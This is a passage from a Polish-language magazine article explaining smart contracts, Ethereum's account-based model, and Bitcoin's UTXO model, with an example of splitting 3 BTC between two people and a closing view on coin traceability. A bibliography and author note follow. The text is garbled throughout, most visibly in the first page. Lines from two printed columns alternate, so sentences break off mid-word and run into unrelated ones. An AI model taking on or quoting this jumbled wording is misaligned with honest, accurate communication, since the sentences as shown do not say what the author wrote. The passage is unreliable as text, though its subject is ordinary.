oraz wykonuje się, kiedy zostaną spełnione predefiniowane warunki. dzi to jedynie do zmiany cyferek w systemie. Oczywiście cała historia
W zasadzie brzmi to jak każdy program komputerowy, jednak jest transakcji jest przechowywana, ale nie jesteśmy w stanie stwierdzić,
tutaj przynajmniej jedna znacząca różnica. Mianowicie wszystko wy- które konkretnie złotówki zostały przelane z naszego konta, ponie-
konywane jest na blockchainie, co oznacza, że sam smart contract ma waż zmienia się jedynie balans, a nasze konto nie jest powiązane
te same cechy co blockchain, a to go bardzo różni od tradycyjnych z konkretnymi fizycznymi banknotami i ich numerami seryjnymi.
aplikacji. Po pierwsze, cały kod smart contractu jest widoczny i każ- Podobnie sprawa wygląda, jeśli chodzi o transfery wielu kryptowalut.
dy może go zweryfikować (o ile blockchain jest publiczny). Nie ma W protokole Ethereum, jeśli któryś z użytkowników wysyła ether na
zatem możliwości, że twórcy powiedzą, iż ich aplikacja działa w dany inny portfel, zmienia stan powiązany z danym adresem, ale nie wy-
sposób, a w rzeczywistości będzie robiła coś innego. Po drugie, sam biera, które ethery chciałby przekazać. Jest to tak zwany account based
kod jest niezmienny, zatem nie istnieje sposób, aby zmienić działa- model. Oznacza to, że każda pojedyncza moneta jest identyczna i na-
nie stworzonego smart contractu. Dla jasności należy zaznaczyć, wet jeśli ktoś kiedyś użył jej do nielegalnych transakcji, nie jesteśmy
że są mechanizmy pozwalające tworzyć smart contract, który może w stanie powiedzieć, że ta konkretna jednostka brała w tym udział.
być aktualizowany, jednak w takim przypadku od samego począt- Oczywiście nie ma przeszkód, by stwierdzić, że dany adres dokonał
ku wiemy, że dany kod może zostać zmieniony i dodatkowo zawsze takiego czynu, jednak nie moglibyśmy np. zablokować poszczegól-
możemy znaleźć aktualną implementację. Taki kontrakt jest również nych tokenów, ponieważ nie dałoby się ich rozróżnić. Mówiąc „za-
deterministyczny i automatyczny, więc w przypadku naszego zakła- blokować”, nie mam na myśli bezpośredniej ingerencji w czyjeś konto
du nie byłoby możliwe, aby zwycięzca nie otrzymał swojej nagrody. i uniemożliwienie wysłania ich na inny adres, bo jest to niemożliwe,
W momencie, kiedy kontrakt dowiedziałby się o wyniku meczu, ale np. gdyby giełda mogła rozróżnić monety, wtedy byłaby w stanie
pula nagród zostałaby przekazana wygranej stronie. Tutaj dochodzi je przejąć w momencie transakcji. W przypadku Ethereum jedyna
jeszcze kwestia, skąd taki kod wiedziałby, kto został mistrzem? Sam możliwość to blokowanie całych adresów, jednak istnieją sposoby,
blockchain nie wie nic o świecie zewnętrznym i pomimo że nasz aby również i to obejść. W bitcoinie sprawa ma się zgoła inaczej, po-
kontrakt jest nazywany smart, to nie ma tutaj jakiegoś sprytu czy nieważ transakcje oparte są tam na tzw. UTXO model.
sztucznej inteligencji (przynajmniej obecnie). Wszystkie dane muszą UTXO, czyli Unspent Transaction Output, powoduje, że formalnie
być dostarczone do blockchaina, jednak istnieją i na to gotowe sposo- portfele bitcoinowe nie przechowują żadnych monet i nie mają salda.

<76> { 5 / 2021 < 99 > }


PLANETA IT

W tym momencie ktoś mógłby zapytać, dlaczego na swoim portfelu gotówki. Jeśli w sklepie wręczymy sprzedawcy banknot 50 zł, to nie
widzi swój balans bitcoinów. Wzięło się to stąd, że łatwiej i wygod- ma możliwości, żebyśmy za chwilę za ten sam banknot kupili coś
niej jest to w ten sposób przedstawić dla przeciętnego użytkownika, innego. W odróżnieniu od fizycznej gotówki, w której mamy z góry
niż zagłębiać się w to, co tak naprawdę tam się dzieje. I tak logując zdefiniowane nominały, każde UTXO może mieć dowolną wartość,
się na dowolną aplikację, służącą jako portfel, jesteśmy w stanie zo- czy to 0.000001 BTC czy też 1000 BTC.
baczyć, ile tych bitcoinów posiadamy, przy czym sam blockchain Skoro wiemy już, czym są UTXO i jak – w dużym uproszcze-
nie ma zapisanego żadnego stanu, który by jawnie określał tę liczbę. niu – działają transakcje na bitcoinie, oczywiste staje się to, co jest
Portfele znajdują wszystkie UTXO, z którymi dany adres jest powią- tą unikatową cechą, która pozwala rozróżnić poszczególne monety.
zany, i stąd możliwe jest wyświetlenie ilości posiadanych bitcoinów. Historia transakcji, która związana jest z każdym pojedynczym bitco-
Wyjaśnijmy jeszcze pokrótce, skąd biorą się te wszystkie UTXO. inem, sprawia, że jedne mogą być bardziej pożądane od drugich. Jeśli
W uproszczeniu każda transakcja na bitcoinie ma swoje przynaj- wiedzielibyśmy, że dany banknot 100 zł był powiązany z nielegalną
mniej jedno wejście i wyjście (ang. input and output). Każde z takich transakcją, to niekoniecznie chcielibyśmy go wymienić za nasz pro-
wejść jest powiązane z jakimś wyjściem z poprzednich transakcji. dukt. Dokładnie taka sama sytuacja tyczy się bitcoina. W takim przy-
Wszystkie wyjścia, które w danym momencie nie są jeszcze wyko- padku najlepszą opcją byłoby posiadanie takiej monety, która nie ma
rzystane, nazywane są UTXO. Takie podejście pozwala stworzyć graf, w sobie zapisanej żadnej historii. Jedyną możliwością, żeby to uzy-
dzięki któremu będziemy w stanie prześledzić całą historię poszcze- skać, jest „wykopanie” nowego bitcoina. Nie będę tutaj rozwijał tego
gólnych monet. W ten sposób sprawdzimy, który konkretnie bitcoin zagadnienia, ale właśnie takie „świeże” bitcoiny mogą być najbardziej
brał udział w jakiej transakcji. rozchwytywane w przyszłości.
Aby jeszcze lepiej zrozumieć, jak działa model oparty o UTXO,
posłużę się prostym przykładem. Załóżmy, że mamy dwie osoby,
PODSUMOWANIE
niech będą to Kasia i Tomek. Kasia chciałaby wysłać Tomkowi 3 BTC.
Z jej adresem powiązane są 3 UTXO o wartościach 0.8 BTC, 1 BTC Czy zatem pojedynczemu bitcoinowi bliżej jest do tokena NFT, niż
oraz 1.5 BTC. Dla lepszego zobrazowania sytuacji nazwijmy wszyst- monety, która mogłaby stać się cyfrowym pieniądzem? Teraz każ-
kie UTXO banknotami. Niestety Kasia nie posiada takiego banknotu, dy może już sobie odpowiedzieć na to pytanie. Osobiście uważam,
który byłby równy 3 BTC, dlatego wszystkie trzy banknoty wezmą że bardziej prawdopodobna jest uznanie bitcoina jako ogólnoświatową
udział w tej transakcji. Rezultatem takiego działania będą dwa nowe walutę. Warto być świadomym, że niektóre bitcoiny mogą potencjalnie
banknoty, jeden o wartości 3 BTC, który otrzyma Tomek, oraz drugi być bardziej pożądane, a inne będą parzyć w ręce. W takim wypadku,
o wartości 0.3 BTC, który wróci do Kasi. W tej chwili na blockcha- jeśli tylko mamy taką możliwość, lepiej wybierać takie, które mają jak
inie mamy dwa całkiem nowe UTXO zamiast trzech poprzednich. najmniejszą historię, ponieważ jest większa szansa, że taka moneta nie
Dla uproszczenia sytuacji pominąłem kwestię opłaty transakcyjnej. była powiązana z żadną podejrzaną transakcją, co mogłoby wpłynąć
Co ważne, poszczególne UTXO muszą być wydane w całości i nie na jej wartość w przyszłości. Prawdopodobnie będzie to miało jeszcze
ma takiej możliwości, abyśmy użyli je tylko częściowo. Zaletą takie- większe znaczenie, kiedy elektroniczny pieniądz CBDC (Central Bank
go podejścia jest rozwiązanie problemu podwójnego wydatkowania Digital Currency) zostanie wprowadzony na szeroką skalę, co wbrew
(ang. double spending). Można to porównać do zakupów za pomocą pozorom nie jest odległym tematem, ale o tym może innym razem.

Bibliografia
[1] coinmarketcap.com/currencies/bitcoin/
[2] komputerswiat.pl/aktualnosci/pierwszy-kraj-na-swiecie-uznal-bitcoina-za-legalny-srodek-platniczy/gqkhymy
[3] pl.wikipedia.org/wiki/Pieni%C4%85dz
[4] onemillionshop.com
[5] wsj.com/articles/mastercard-partners-with-bakkt-to-bring-cryptocurrency-services-to-the-masses-11635181655
[6] longtermtrends.net/bitcoin-vs-gold/
[7] larvalabs.com/cryptopunks
[8] strefainwestorow.pl/artykuly/analizy/20210826/nft-tokeny-banka-spekulacyjna-2021
[9] cnbc.com/2021/08/23/people-are-paying-millions-of-dollars-for-digital-pictures-of-rocks.html
[10] cryptokitties.co/
[11] bbc.com/news/technology-42237162
[12] opensea.io/
[13] fxmag.pl/artykul/ogral-bukmachera-na-ponad-milion-zlotych-wykluczony-z-dalszej-gry-pozywa-fortune-na-60-mln-zl-zobacz-za-co
[14] eips.ethereum.org/EIPS/eip-721

PRZEMYSŁAW TREPKA
zblockowani@gmail.com
Pasjonata technologii blockchain oraz rynku kryptowalut. Obecnie pracuje jako Blockchain Developer w ValueLogic.

<78> { 5 / 2021 < 99 > }

You might also like